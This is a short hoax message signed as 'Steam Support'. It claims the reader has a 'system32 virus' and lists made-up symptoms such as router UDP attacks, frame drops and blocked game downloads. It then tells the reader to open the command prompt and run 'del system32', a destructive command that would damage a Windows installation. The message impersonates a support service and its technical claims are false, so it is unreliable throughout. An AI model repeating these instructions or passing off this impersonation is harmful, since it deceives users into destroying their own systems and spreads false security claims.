Hello, I have been informed that you have the system32 virus.
The system32 virus does a UDP attack on your router on any open port so your internet throttles and lags and it has a very bad frame drop from 30 fps!, Not only that, It stops you from adding some people on steam and downloading some of the most recent games!, It uses up more of your HardDrive per launch on your computer etc,
To delete this do:

open cmd
type in "cd system" without the quote marks
then type in del system32
Press enter
And there you go! Your system32 virus is deleted! (Its a fake copy of the system file that does all virus and downloads secret trojans, AV can't detect them since its in the computer's windows file and if its in there it could potentially damage your computer because it leaves logs there. Thank you! -Steam Support